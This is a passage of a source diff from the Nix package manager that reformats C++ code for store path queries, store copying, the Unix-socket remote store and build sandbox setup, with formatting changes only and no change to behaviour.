Store::Store(const Params & params) assertLibStoreInitialized(); } - std::string Store::getUri() { return ""; @@ -448,9 +417,8 @@ std::string Store::getUri() bool Store::PathInfoCacheValue::isKnownNow() { - std::chrono::duration ttl = didExist() - ? std::chrono::seconds(settings.ttlPositiveNarInfoCache) - : std::chrono::seconds(settings.ttlNegativeNarInfoCache); + std::chrono::duration ttl = didExist() ? std::chrono::seconds(settings.ttlPositiveNarInfoCache) + : std::chrono::seconds(settings.ttlNegativeNarInfoCache); return std::chrono::steady_clock::now() < time_point + ttl; } @@ -465,9 +433,8 @@ std::map> Store::queryStaticPartialDerivat return outputs; } -std::map> Store::queryPartialDerivationOutputMap( - const StorePath & path, - Store * evalStore_) +std::map> +Store::queryPartialDerivationOutputMap(const StorePath & path, Store * evalStore_) { auto & evalStore = evalStore_ ? *evalStore_ : *this; @@ -493,7 +460,8 @@ std::map> Store::queryPartialDerivationOut return outputs; } -OutputPathMap Store::queryDerivationOutputMap(const StorePath & path, Store * evalStore) { +OutputPathMap Store::queryDerivationOutputMap(const StorePath & path, Store * evalStore) +{ auto resp = queryPartialDerivationOutputMap(path, evalStore); OutputPathMap result; for (auto & [outName, optOutPath] : resp) { @@ -508,16 +476,16 @@ StorePathSet Store::queryDerivationOutputs(const StorePath & path) { auto outputMap = this->queryDerivationOutputMap(path); StorePathSet outputPaths; - for (auto & i: outputMap) { + for (auto & i : outputMap) { outputPaths.emplace(std::move(i.second)); } return outputPaths; } - void Store::querySubstitutablePathInfos(const StorePathCAMap & paths, SubstitutablePathInfos & infos) { - if (!settings.useSubstitutes) return; + if (!settings.useSubstitutes) + return; for (auto & sub : getDefaultSubstituters()) { for (auto & path : paths) { if (infos.count(path.first)) @@ -529,13 +497,17 @@ void Store::querySubstitutablePathInfos(const StorePathCAMap & paths, Substituta // Recompute store path so that we can use a different store root. if (path.second) { subPath = makeFixedOutputPathFromCA( - path.first.name(), - ContentAddressWithReferences::withoutRefs(*path.second)); + path.first.name(), ContentAddressWithReferences::withoutRefs(*path.second)); if (sub->storeDir == storeDir) assert(subPath == path.first); if (subPath != path.first) - debug("replaced path '%s' with '%s' for substituter '%s'", printStorePath(path.first), sub->printStorePath(subPath), sub->getUri()); - } else if (sub->storeDir != storeDir) continue; + debug( + "replaced path '%s' with '%s' for substituter '%s'", + printStorePath(path.first), + sub->printStorePath(subPath), + sub->getUri()); + } else if (sub->storeDir != storeDir) + continue; debug("checking substituter '%s' for path '%s'", sub->getUri(), sub->printStorePath(subPath)); try { @@ -544,14 +516,15 @@ void Store::querySubstitutablePathInfos(const StorePathCAMap & paths, Substituta if (sub->storeDir != storeDir && !(info->isContentAddressed(*sub) && info->references.empty())) continue; - auto narInfo = std::dynamic_pointer_cast( - std::shared_ptr(info)); - infos.insert_or_assign(path.first, SubstitutablePathInfo{ - .deriver = info->deriver, - .references = info->references, - .downloadSize = narInfo ? narInfo->fileSize : 0, - .narSize = info->narSize, - }); + auto narInfo = std::dynamic_pointer_cast(std::shared_ptr(info)); + infos.insert_or_assign( + path.first, + SubstitutablePathInfo{ + .deriver = info->deriver, + .references = info->references, + .downloadSize = narInfo ? narInfo->fileSize : 0, + .narSize = info->narSize, + }); } catch (InvalidPath &) { } catch (SubstituterDisabled &) { } catch (Error & e) { @@ -564,7 +537,6 @@ void Store::querySubstitutablePathInfos(const StorePathCAMap & paths, Substituta } } - bool Store::isValidPath(const StorePath & storePath) { { @@ -581,8 +553,10 @@ bool Store::isValidPath(const StorePath & storePath) if (res.first != NarInfoDiskCache::oUnknown) { stats.narInfoReadAverted++; auto state_(state.lock()); - state_->pathInfoCache.upsert(std::string(storePath.to_string()), - res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} : PathInfoCacheValue { .value = res.second }); + state_->pathInfoCache.upsert( + std::string(storePath.to_string()), + res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} + : PathInfoCacheValue{.value = res.second}); return res.first == NarInfoDiskCache::oValid; } } @@ -596,7 +570,6 @@ bool Store::isValidPath(const StorePath & storePath) return valid; } - /* Default implementation for stores that only implement queryPathInfoUncached(). */ bool Store::isValidPathUncached(const StorePath & path) @@ -609,32 +582,27 @@ bool Store::isValidPathUncached(const StorePath & path) } } - ref Store::queryPathInfo(const StorePath & storePath) { std::promise> promise; - queryPathInfo(storePath, - {[&](std::future> result) { - try { - promise.set_value(result.get()); - } catch (...) { - promise.set_exception(std::current_exception()); - } - }}); + queryPathInfo(storePath, {[&](std::future> result) { + try { + promise.set_value(result.get()); + } catch (...) { + promise.set_exception(std::current_exception()); + } + }}); return promise.get_future().get(); } - static bool goodStorePath(const StorePath & expected, const StorePath & actual) { - return - expected.hashPart() == actual.hashPart() - && (expected.name() == Store::MissingName || expected.name() == actual.name()); + return expected.hashPart() == actual.hashPart() + && (expected.name() == Store::MissingName || expected.name() == actual.name()); } - std::optional> Store::queryPathInfoFromClientCache(const StorePath & storePath) { auto hashPart = std::string(storePath.hashPart()); @@ -656,10 +624,11 @@ std::optional> Store::queryPathInfoFromClie stats.narInfoReadAverted++; { auto state_(state.lock()); - state_->pathInfoCache.upsert(std::string(storePath.to_string()), - res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} : PathInfoCacheValue{ .value = res.second }); - if (res.first == NarInfoDiskCache::oInvalid || - !goodStorePath(storePath, res.second->path)) + state_->pathInfoCache.upsert( + std::string(storePath.to_string()), + res.first == NarInfoDiskCache::oInvalid ? PathInfoCacheValue{} + : PathInfoCacheValue{.value = res.second}); + if (res.first == NarInfoDiskCache::oInvalid || !goodStorePath(storePath, res.second->path)) return std::make_optional(nullptr); } assert(res.second); @@ -670,9 +639,7 @@ std::optional> Store::queryPathInfoFromClie return std::nullopt; } - -void Store::queryPathInfo(const StorePath & storePath, - Callback> callback) noexcept +void Store::queryPathInfo(const StorePath & storePath, Callback> callback) noexcept { auto hashPart = std::string(storePath.hashPart()); @@ -685,13 +652,14 @@ void Store::queryPathInfo(const StorePath & storePath, else throw InvalidPath("path '%s' is not valid", printStorePath(storePath)); } - } catch (...) { return callback.rethrow(); } + } catch (...) { + return callback.rethrow(); + } auto callbackPtr = std::make_shared(std::move(callback)); - queryPathInfoUncached(storePath, - {[this, storePath, hashPart, callbackPtr](std::future> fut) { - + queryPathInfoUncached( + storePath, {[this, storePath, hashPart, callbackPtr](std::future> fut) { try { auto info = fut.get(); @@ -700,7 +668,7 @@ void Store::queryPathInfo(const StorePath & storePath, { auto state_(state.lock()); - state_->pathInfoCache.upsert(std::string(storePath.to_string()), PathInfoCacheValue { .value = info }); + state_->pathInfoCache.upsert(std::string(storePath.to_string()), PathInfoCacheValue{.value = info}); } if (!info || !goodStorePath(storePath, info->path)) { @@ -709,27 +677,25 @@ void Store::queryPathInfo(const StorePath & storePath, } (*callbackPtr)(ref(info)); - } catch (...) { callbackPtr->rethrow(); } + } catch (...) { + callbackPtr->rethrow(); + } }}); } -void Store::queryRealisation(const DrvOutput & id, - Callback> callback) noexcept +void Store::queryRealisation(const DrvOutput & id, Callback> callback) noexcept { try { if (diskCache) { - auto [cacheOutcome, maybeCachedRealisation] - = diskCache->lookupRealisation(getUri(), id); + auto [cacheOutcome, maybeCachedRealisation] = diskCache->lookupRealisation(getUri(), id); switch (cacheOutcome) { case NarInfoDiskCache::oValid: debug("Returning a cached realisation for %s", id.to_string()); callback(maybeCachedRealisation); return; case NarInfoDiskCache::oInvalid: - debug( - "Returning a cached missing realisation for %s", - id.to_string()); + debug("Returning a cached missing realisation for %s", id.to_string()); callback(nullptr); return; case NarInfoDiskCache::oUnknown: @@ -740,29 +706,25 @@ void Store::queryRealisation(const DrvOutput & id, return callback.rethrow(); } - auto callbackPtr - = std::make_shared(std::move(callback)); + auto callbackPtr = std::make_shared(std::move(callback)); - queryRealisationUncached( - id, - { [this, id, callbackPtr]( - std::future> fut) { - try { - auto info = fut.get(); + queryRealisationUncached(id, {[this, id, callbackPtr](std::future> fut) { + try { + auto info = fut.get(); - if (diskCache) { - if (info) - diskCache->upsertRealisation(getUri(), *info); - else - diskCache->upsertAbsentRealisation(getUri(), id); - } + if (diskCache) { + if (info) + diskCache->upsertRealisation(getUri(), *info); + else + diskCache->upsertAbsentRealisation(getUri(), id); + } - (*callbackPtr)(std::shared_ptr(info)); + (*callbackPtr)(std::shared_ptr(info)); - } catch (...) { - callbackPtr->rethrow(); - } - } }); + } catch (...) { + callbackPtr->rethrow(); + } + }}); } std::shared_ptr Store::queryRealisation(const DrvOutput & id) @@ -770,14 +732,13 @@ std::shared_ptr Store::queryRealisation(const DrvOutput & id) using RealPtr = std::shared_ptr; std::promise promise; - queryRealisation(id, - {[&](std::future result) { - try { - promise.set_value(result.get()); - } catch (...) { - promise.set_exception(std::current_exception()); - } - }}); + queryRealisation(id, {[&](std::future result) { + try { + promise.set_value(result.get()); + } catch (...) { + promise.set_exception(std::current_exception()); + } + }}); return promise.get_future().get(); } @@ -790,20 +751,19 @@ void Store::substitutePaths(const StorePathSet & paths) paths2.emplace_back(DerivedPath::Opaque{path}); uint64_t downloadSize, narSize; StorePathSet willBuild, willSubstitute, unknown; - queryMissing(paths2, - willBuild, willSubstitute, unknown, downloadSize, narSize); + queryMissing(paths2, willBuild, willSubstitute, unknown, downloadSize, narSize); if (!willSubstitute.empty()) try { std::vector subs; - for (auto & p : willSubstitute) subs.emplace_back(DerivedPath::Opaque{p}); + for (auto & p : willSubstitute) + subs.emplace_back(DerivedPath::Opaque{p}); buildPaths(subs); } catch (Error & e) { logWarning(e.info()); } } - StorePathSet Store::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { struct State @@ -821,29 +781,29 @@ StorePathSet Store::queryValidPaths(const StorePathSet & paths, SubstituteFlag m auto doQuery = [&](const StorePath & path) { checkInterrupt(); queryPathInfo(path, {[path, &state_, &wakeup](std::future> fut) { - bool exists = false; - std::exception_ptr newExc{}; + bool exists = false; + std::exception_ptr newExc{}; - try { - auto info = fut.get(); - exists = true; - } catch (InvalidPath &) { - } catch (...) { - newExc = std::current_exception(); - } + try { + auto info = fut.get(); + exists = true; + } catch (InvalidPath &) { + } catch (...) { + newExc = std::current_exception(); + } - auto state(state_.lock()); + auto state(state_.lock()); - if (exists) - state->valid.insert(path); + if (exists) + state->valid.insert(path); - if (newExc) - state->exc = newExc; + if (newExc) + state->exc = newExc; - assert(state->left); - if (!--state->left) - wakeup.notify_one(); - }}); + assert(state->left); + if (!--state->left) + wakeup.notify_one(); + }}); }; for (auto & path : paths) @@ -854,19 +814,18 @@ StorePathSet Store::queryValidPaths(const StorePathSet & paths, SubstituteFlag m while (true) { auto state(state_.lock()); if (!state->left) { - if (state->exc) std::rethrow_exception(state->exc); + if (state->exc) + std::rethrow_exception(state->exc); return std::move(state->valid); } state.wait(wakeup); } } - /* Return a string accepted by decodeValidPathInfo() that registers the specified paths as valid. Note: it's the responsibility of the caller to provide a closure. */ -std::string Store::makeValidityRegistration(const StorePathSet & paths, - bool showDerivers, bool showHash) +std::string Store::makeValidityRegistration(const StorePathSet & paths, bool showDerivers, bool showHash) { std::string s = ""; @@ -892,14 +851,15 @@ std::string Store::makeValidityRegistration(const StorePathSet & paths, return s; } - StorePathSet Store::exportReferences(const StorePathSet & storePaths, const StorePathSet & inputPaths) { StorePathSet paths; for (auto & storePath : storePaths) { if (!inputPaths.count(storePath)) - throw BuildError("cannot export references of path '%s' because it is not in the input closure of the derivation", printStorePath(storePath)); + throw BuildError( + "cannot export references of path '%s' because it is not in the input closure of the derivation", + printStorePath(storePath)); computeFSClosure({storePath}, paths); } @@ -928,7 +888,6 @@ StorePathSet Store::exportReferences(const StorePathSet & storePaths, const Stor return paths; } - const Store::Stats & Store::getStats() { { @@ -938,26 +897,16 @@ const Store::Stats & Store::getStats() return stats; } - -static std::string makeCopyPathMessage( - std::string_view srcUri, - std::string_view dstUri, - std::string_view storePath) +static std::string makeCopyPathMessage(std::string_view srcUri, std::string_view dstUri, std::string_view storePath) { - return srcUri == "local" || srcUri == "daemon" - ? fmt("copying path '%s' to '%s'", storePath, dstUri) - : dstUri == "local" || dstUri == "daemon" - ? fmt("copying path '%s' from '%s'", storePath, srcUri) - : fmt("copying path '%s' from '%s' to '%s'", storePath, srcUri, dstUri); + return srcUri == "local" || srcUri == "daemon" ? fmt("copying path '%s' to '%s'", storePath, dstUri) + : dstUri == "local" || dstUri == "daemon" + ? fmt("copying path '%s' from '%s'", storePath, srcUri) + : fmt("copying path '%s' from '%s' to '%s'", storePath, srcUri, dstUri); } - void copyStorePath( - Store & srcStore, - Store & dstStore, - const StorePath & storePath, - RepairFlag repair, - CheckSigsFlag checkSigs) + Store & srcStore, Store & dstStore, const StorePath & storePath, RepairFlag repair, CheckSigsFlag checkSigs) { /* Bail out early (before starting a download from srcStore) if dstStore already has this path. */ @@ -967,9 +916,8 @@ void copyStorePath( auto srcUri = srcStore.getUri(); auto dstUri = dstStore.getUri(); auto storePathS = srcStore.printStorePath(storePath); - Activity act(*logger, lvlInfo, actCopyPath, - makeCopyPathMessage(srcUri, dstUri, storePathS), - {storePathS, srcUri, dstUri}); + Activity act( + *logger, lvlInfo, actCopyPath, makeCopyPathMessage(srcUri, dstUri, storePathS), {storePathS, srcUri, dstUri}); PushActivity pact(act.id); auto info = srcStore.queryPathInfo(storePath); @@ -979,9 +927,8 @@ void copyStorePath( // recompute store path on the chance dstStore does it differently if (info->ca && info->references.empty()) { auto info2 = make_ref(*info); - info2->path = dstStore.makeFixedOutputPathFromCA( - info->path.name(), - info->contentAddressWithReferences().value()); + info2->path = + dstStore.makeFixedOutputPathFromCA(info->path.name(), info->contentAddressWithReferences().value()); if (dstStore.storeDir == srcStore.storeDir) assert(info->path == info2->path); info = info2; @@ -993,21 +940,23 @@ void copyStorePath( info = info2; } - auto source = sinkToSource([&](Sink & sink) { - LambdaSink progressSink([&](std::string_view data) { - total += data.size(); - act.progress(total, info->narSize); + auto source = sinkToSource( + [&](Sink & sink) { + LambdaSink progressSink([&](std::string_view data) { + total += data.size(); + act.progress(total, info->narSize); + }); + TeeSink tee{sink, progressSink}; + srcStore.narFromPath(storePath, tee); + }, + [&]() { + throw EndOfFile( + "NAR for '%s' fetched from '%s' is incomplete", srcStore.printStorePath(storePath), srcStore.getUri()); }); - TeeSink tee { sink, progressSink }; - srcStore.narFromPath(storePath, tee); - }, [&]() { - throw EndOfFile("NAR for '%s' fetched from '%s' is incomplete", srcStore.printStorePath(storePath), srcStore.getUri()); - }); dstStore.addToStore(*info, *source, repair, checkSigs); } - std::map copyPaths( Store & srcStore, Store & dstStore, @@ -1039,14 +988,13 @@ std::map copyPaths( throw Error( "incomplete realisation closure: '%s' is a " "dependency of '%s' but isn't registered", - drvOutput.to_string(), current.id.to_string()); + drvOutput.to_string(), + current.id.to_string()); children.insert(*currentChild); } return children; }, - [&](const Realisation& current) -> void { - dstStore.registerDrvOutput(current, checkSigs); - }); + [&](const Realisation & current) -> void { dstStore.registerDrvOutput(current, checkSigs); }); } catch (MissingExperimentalFeature & e) { // Don't fail if the remote doesn't support CA derivations is it might // not be within our control to change that, and we might still want @@ -1072,7 +1020,8 @@ std::map copyPaths( StorePathSet missing; for (auto & path : storePaths) - if (!valid.count(path)) missing.insert(path); + if (!valid.count(path)) + missing.insert(path); Activity act(*logger, lvlInfo, actCopyPaths, fmt("copying %d paths", missing.size())); @@ -1092,15 +1041,15 @@ std::map copyPaths( auto storePathForDst = storePathForSrc; if (currentPathInfo.ca && currentPathInfo.references.empty()) { storePathForDst = dstStore.makeFixedOutputPathFromCA( - currentPathInfo.path.name(), - currentPathInfo.contentAddressWithReferences().value()); + currentPathInfo.path.name(), currentPathInfo.contentAddressWithReferences().value()); if (dstStore.storeDir == srcStore.storeDir) assert(storePathForDst == storePathForSrc); if (storePathForDst != storePathForSrc) - debug("replaced path '%s' to '%s' for substituter '%s'", - srcStore.printStorePath(storePathForSrc), - dstStore.printStorePath(storePathForDst), - dstStore.getUri()); + debug( + "replaced path '%s' to '%s' for substituter '%s'", + srcStore.printStorePath(storePathForSrc), + dstStore.printStorePath(storePathForDst), + dstStore.getUri()); } return storePathForDst; }; @@ -1121,7 +1070,10 @@ std::map copyPaths( auto srcUri = srcStore.getUri(); auto dstUri = dstStore.getUri(); auto storePathS = srcStore.printStorePath(missingPath); - Activity act(*logger, lvlInfo, actCopyPath, + Activity act( + *logger, + lvlInfo, + actCopyPath, makeCopyPathMessage(srcUri, dstUri, storePathS), {storePathS, srcUri, dstUri}); PushActivity pact(act.id); @@ -1130,7 +1082,7 @@ std::map copyPaths( total += data.size(); act.progress(total, narSize); }); - TeeSink tee { sink, progressSink }; + TeeSink tee{sink, progressSink}; srcStore.narFromPath(missingPath, tee); }); @@ -1150,7 +1102,8 @@ void copyClosure( CheckSigsFlag checkSigs, SubstituteFlag substitute) { - if (&srcStore == &dstStore) return; + if (&srcStore == &dstStore) + return; RealisedPath::Set closure; RealisedPath::closure(srcStore, paths, closure); @@ -1166,62 +1119,68 @@ void copyClosure( CheckSigsFlag checkSigs, SubstituteFlag substitute) { - if (&srcStore == &dstStore) return; + if (&srcStore == &dstStore) + return; StorePathSet closure; srcStore.computeFSClosure(storePaths, closure); copyPaths(srcStore, dstStore, closure, repair, checkSigs, substitute); } -std::optional decodeValidPathInfo(const Store & store, std::istream & str, std::optional hashGiven) +std::optional +decodeValidPathInfo(const Store & store, std::istream & str, std::optional hashGiven) { std::string path; getline(str, path); - if (str.eof()) { return {}; } + if (str.eof()) { + return {}; + } if (!hashGiven) { std::string s; getline(str, s); auto narHash = Hash::parseAny(s, HashAlgorithm::SHA256); getline(str, s); auto narSize = string2Int(s); - if (!narSize) throw Error("number expected"); - hashGiven = { narHash, *narSize }; + if (!narSize) + throw Error("number expected"); + hashGiven = {narHash, *narSize}; } ValidPathInfo info(store.parseStorePath(path), hashGiven->first); info.narSize = hashGiven->second; std::string deriver; getline(str, deriver); - if (deriver != "") info.deriver = store.parseStorePath(deriver); + if (deriver != "") + info.deriver = store.parseStorePath(deriver); std::string s; getline(str, s); auto n = string2Int(s); - if (!n) throw Error("number expected"); + if (!n) + throw Error("number expected"); while ((*n)--) { getline(str, s); info.references.insert(store.parseStorePath(s)); } - if (!str || str.eof()) throw Error("missing input"); + if (!str || str.eof()) + throw Error("missing input"); return std::optional(std::move(info)); } - std::string StoreDirConfig::showPaths(const StorePathSet & paths) { std::string s; for (auto & i : paths) { - if (s.size() != 0) s += ", "; + if (s.size() != 0) + s += ", "; s += "'" + printStorePath(i) + "'"; } return s; } - std::string showPaths(const PathSet & paths) { return concatStringsSep(", ", quoteStrings(paths)); } - Derivation Store::derivationFromPath(const StorePath & drvPath) { ensurePath(drvPath); @@ -1232,9 +1191,8 @@ static Derivation readDerivationCommon(Store & store, const StorePath & drvPath, { auto accessor = store.getFSAccessor(requireValidPath); try { - return parseDerivation(store, - accessor->readFile(CanonPath(drvPath.to_string())), - Derivation::nameFromPath(drvPath)); + return parseDerivation( + store, accessor->readFile(CanonPath(drvPath.to_string())), Derivation::nameFromPath(drvPath)); } catch (FormatError & e) { throw Error("error parsing derivation '%s': %s", store.printStorePath(drvPath), e.msg()); } @@ -1246,7 +1204,8 @@ std::optional Store::getBuildDerivationPath(const StorePath & path) if (!path.isDerivation()) { try { auto info = queryPathInfo(path); - if (!info->deriver) return std::nullopt; + if (!info->deriver) + return std::nullopt; return *info->deriver; } catch (InvalidPath &) { return std::nullopt; @@ -1269,11 +1228,14 @@ std::optional Store::getBuildDerivationPath(const StorePath & path) } Derivation Store::readDerivation(const StorePath & drvPath) -{ return readDerivationCommon(*this, drvPath, true); } +{ + return readDerivationCommon(*this, drvPath, true); +} Derivation Store::readInvalidDerivation(const StorePath & drvPath) -{ return readDerivationCommon(*this, drvPath, false); } - +{ + return readDerivationCommon(*this, drvPath, false); +} void Store::signPathInfo(ValidPathInfo & info) { @@ -1288,7 +1250,6 @@ void Store::signPathInfo(ValidPathInfo & info) } } - void Store::signRealisation(Realisation & realisation) { // FIXME: keep secret keys in memory. @@ -1304,15 +1265,12 @@ void Store::signRealisation(Realisation & realisation) } - #include "nix/store/local-store.hh" #include "nix/store/uds-remote-store.hh" - namespace nix { -ref openStore(const std::string & uri, - const Store::Params & extraParams) +ref openStore(const std::string & uri, const Store::Params & extraParams) { return openStore(StoreReference::parse(uri, extraParams)); } @@ -1321,53 +1279,52 @@ ref openStore(StoreReference && storeURI) { auto & params = storeURI.params; - auto store = std::visit(overloaded { - [&](const StoreReference::Auto &) -> std::shared_ptr { - auto stateDir = getOr(params, "state", settings.nixStateDir); - if (access(stateDir.c_str(), R_OK | W_OK) == 0) - return std::make_shared(params); - else if (pathExists(settings.nixDaemonSocketFile)) - return std::make_shared(params); - #ifdef __linux__ - else if (!pathExists(stateDir) - && params.empty() - && !isRootUser() - && !getEnv("NIX_STORE_DIR").has_value() - && !getEnv("NIX_STATE_DIR").has_value()) - { - /* If /nix doesn't exist, there is no daemon socket, and - we're not root, then automatically set up a chroot - store in ~/.local/share/nix/root. */ - auto chrootStore = getDataDir() + "/root"; - if (!pathExists(chrootStore)) { - try { - createDirs(chrootStore); - } catch (SystemError & e) { - return std::make_shared(params); - } - warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - } else - debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); - return std::make_shared("local", chrootStore, params); - } - #endif - else - return std::make_shared(params); - }, - [&](const StoreReference::Specified & g) { - for (const auto & implem : *Implementations::registered) - if (implem.uriSchemes.count(g.scheme)) - return implem.create(g.scheme, g.authority, params); + auto store = std::visit( + overloaded{ + [&](const StoreReference::Auto &) -> std::shared_ptr { + auto stateDir = getOr(params, "state", settings.nixStateDir); + if (access(stateDir.c_str(), R_OK | W_OK) == 0) + return std::make_shared(params); + else if (pathExists(settings.nixDaemonSocketFile)) + return std::make_shared(params); +#ifdef __linux__ + else if ( + !pathExists(stateDir) && params.empty() && !isRootUser() && !getEnv("NIX_STORE_DIR").has_value() + && !getEnv("NIX_STATE_DIR").has_value()) { + /* If /nix doesn't exist, there is no daemon socket, and + we're not root, then automatically set up a chroot + store in ~/.local/share/nix/root. */ + auto chrootStore = getDataDir() + "/root"; + if (!pathExists(chrootStore)) { + try { + createDirs(chrootStore); + } catch (SystemError & e) { + return std::make_shared(params); + } + warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + } else + debug("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); + return std::make_shared("local", chrootStore, params); + } +#endif + else + return std::make_shared(params); + }, + [&](const StoreReference::Specified & g) { + for (const auto & implem : *Implementations::registered) + if (implem.uriSchemes.count(g.scheme)) + return implem.create(g.scheme, g.authority, params); - throw Error("don't know how to open Nix store with scheme '%s'", g.scheme); + throw Error("don't know how to open Nix store with scheme '%s'", g.scheme); + }, }, - }, storeURI.variant); + storeURI.variant); experimentalFeatureSettings.require(store->experimentalFeature()); store->warnUnknownSettings(); store->init(); - return ref { store }; + return ref{store}; } std::list> getDefaultSubstituters() @@ -1378,7 +1335,8 @@ std::list> getDefaultSubstituters() StringSet done; auto addStore = [&](const std::string & uri) { - if (!done.insert(uri).second) return; + if (!done.insert(uri).second) + return; try { stores.push_back(openStore(uri)); } catch (Error & e) { @@ -1389,12 +1347,10 @@ std::list> getDefaultSubstituters() for (const auto & uri : settings.substituters.get()) addStore(uri); - stores.sort([](ref & a, ref & b) { - return a->priority < b->priority; - }); + stores.sort([](ref & a, ref & b) { return a->priority < b->priority; }); return stores; - } ()); + }()); return stores; } diff --git a/src/libstore/uds-remote-store.cc b/src/libstore/uds-remote-store.cc index 3c1657d15..85774c12e 100644 --- a/src/libstore/uds-remote-store.cc +++ b/src/libstore/uds-remote-store.cc @@ -8,19 +8,16 @@ #include #ifdef _WIN32 -# include -# include +# include +# include #else -# include -# include +# include +# include #endif namespace nix { -UDSRemoteStoreConfig::UDSRemoteStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params) +UDSRemoteStoreConfig::UDSRemoteStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) , LocalFSStoreConfig(params) , RemoteStoreConfig(params) @@ -31,23 +28,21 @@ UDSRemoteStoreConfig::UDSRemoteStoreConfig( } } - std::string UDSRemoteStoreConfig::doc() { return - #include "uds-remote-store.md" +#include "uds-remote-store.md" ; } - // A bit gross that we now pass empty string but this is knowing that // empty string will later default to the same nixDaemonSocketFile. Why // don't we just wire it all through? I believe there are cases where it // will live reload so we want to continue to account for that. UDSRemoteStore::UDSRemoteStore(const Params & params) : UDSRemoteStore(scheme, "", params) -{} - +{ +} UDSRemoteStore::UDSRemoteStore(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) @@ -60,25 +55,21 @@ UDSRemoteStore::UDSRemoteStore(std::string_view scheme, std::string_view authori { } - std::string UDSRemoteStore::getUri() { - return path == settings.nixDaemonSocketFile - ? // FIXME: Not clear why we return daemon here and not default - // to settings.nixDaemonSocketFile - // - // unix:// with no path also works. Change what we return? - "daemon" - : std::string(scheme) + "://" + path; + return path == settings.nixDaemonSocketFile ? // FIXME: Not clear why we return daemon here and not default + // to settings.nixDaemonSocketFile + // + // unix:// with no path also works. Change what we return? + "daemon" + : std::string(scheme) + "://" + path; } - void UDSRemoteStore::Connection::closeWrite() { shutdown(toSocket(fd.get()), SHUT_WR); } - ref UDSRemoteStore::openConnection() { auto conn = make_ref(); @@ -96,7 +87,6 @@ ref UDSRemoteStore::openConnection() return conn; } - void UDSRemoteStore::addIndirectRoot(const Path & path) { auto conn(getConnection()); @@ -105,7 +95,6 @@ void UDSRemoteStore::addIndirectRoot(const Path & path) readInt(conn->from); } - static RegisterStoreImplementation regUDSRemoteStore; } diff --git a/src/libstore/unix/build/hook-instance.cc b/src/libstore/unix/build/hook-instance.cc index 3713f7c86..fbf2cfbff 100644 --- a/src/libstore/unix/build/hook-instance.cc +++ b/src/libstore/unix/build/hook-instance.cc @@ -46,13 +46,13 @@ HookInstance::HookInstance() /* Fork the hook. */ pid = startProcess([&]() { - if (dup2(fromHook.writeSide.get(), STDERR_FILENO) == -1) throw SysError("cannot pipe standard error into log file"); commonChildInit(); - if (chdir("/") == -1) throw SysError("changing into /"); + if (chdir("/") == -1) + throw SysError("changing into /"); /* Dup the communication pipes. */ if (dup2(toHook.readSide.get(), STDIN_FILENO) == -1) @@ -84,12 +84,12 @@ HookInstance::HookInstance() sink << 0; } - HookInstance::~HookInstance() { try { toHook.writeSide = -1; - if (pid != -1) pid.kill(); + if (pid != -1) + pid.kill(); } catch (...) { ignoreExceptionInDestructor(); } diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc index 8adc001f0..14d2bc637 100644 --- a/src/libstore/unix/build/local-derivation-goal.cc +++ b/src/libstore/unix/build/local-derivation-goal.cc @@ -38,36 +38,37 @@ #include "store-config-private.hh" #if HAVE_STATVFS -#include +# include #endif /* Includes required for chroot support. */ #ifdef __linux__ -# include "linux/fchmodat2-compat.hh" -# include -# include -# include -# include -# include -# include -# include -# include -# include "nix/util/namespaces.hh" -# if HAVE_SECCOMP -# include -# endif -# define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) -# include "nix/util/cgroup.hh" -# include "nix/store/personality.hh" +# include "linux/fchmodat2-compat.hh" +# include +# include +# include +# include +# include +# include +# include +# include +# include "nix/util/namespaces.hh" +# if HAVE_SECCOMP +# include +# endif +# define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old)) +# include "nix/util/cgroup.hh" +# include "nix/store/personality.hh" #endif #ifdef __APPLE__ -#include -#include -#include +# include +# include +# include /* This definition is undocumented but depended upon by all major browsers. */ -extern "C" int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf); +extern "C" int +sandbox_init_with_parameters(const char * profile, uint64_t flags, const char * const parameters[], char ** errorbuf); #endif #include @@ -165,12 +166,15 @@ struct LocalDerivationGoal : DerivationGoal, RestrictionContext /** * Stuff we need to pass to initChild(). */ - struct ChrootPath { + struct ChrootPath + { Path source; bool optional; ChrootPath(Path source = "", bool optional = false) - : source(source), optional(optional) - { } + : source(source) + , optional(optional) + { + } }; typedef map PathsInChroot; // maps target path to source path PathsInChroot pathsInChroot; @@ -201,8 +205,14 @@ struct LocalDerivationGoal : DerivationGoal, RestrictionContext */ OutputPathMap scratchOutputs; - uid_t sandboxUid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 1000 : 0) : buildUser->getUID(); } - gid_t sandboxGid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 100 : 0) : buildUser->getGID(); } + uid_t sandboxUid() + { + return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 1000 : 0) : buildUser->getUID(); + } + gid_t sandboxGid() + { + return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 100 : 0) : buildUser->getGID(); + } const static Path homeDir; @@ -354,43 +364,38 @@ struct LocalDerivationGoal : DerivationGoal, RestrictionContext }; std::shared_ptr makeLocalDerivationGoal( - const StorePath & drvPath, - const OutputsSpec & wantedOutputs, Worker & worker, - BuildMode buildMode) + const StorePath & drvPath, const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) { return std::make_shared(drvPath, wantedOutputs, worker, buildMode); } std::shared_ptr makeLocalDerivationGoal( - const StorePath & drvPath, const BasicDerivation & drv, - const OutputsSpec & wantedOutputs, Worker & worker, + const StorePath & drvPath, + const BasicDerivation & drv, + const OutputsSpec & wantedOutputs, + Worker & worker, BuildMode buildMode) { return std::make_shared(drvPath, drv, 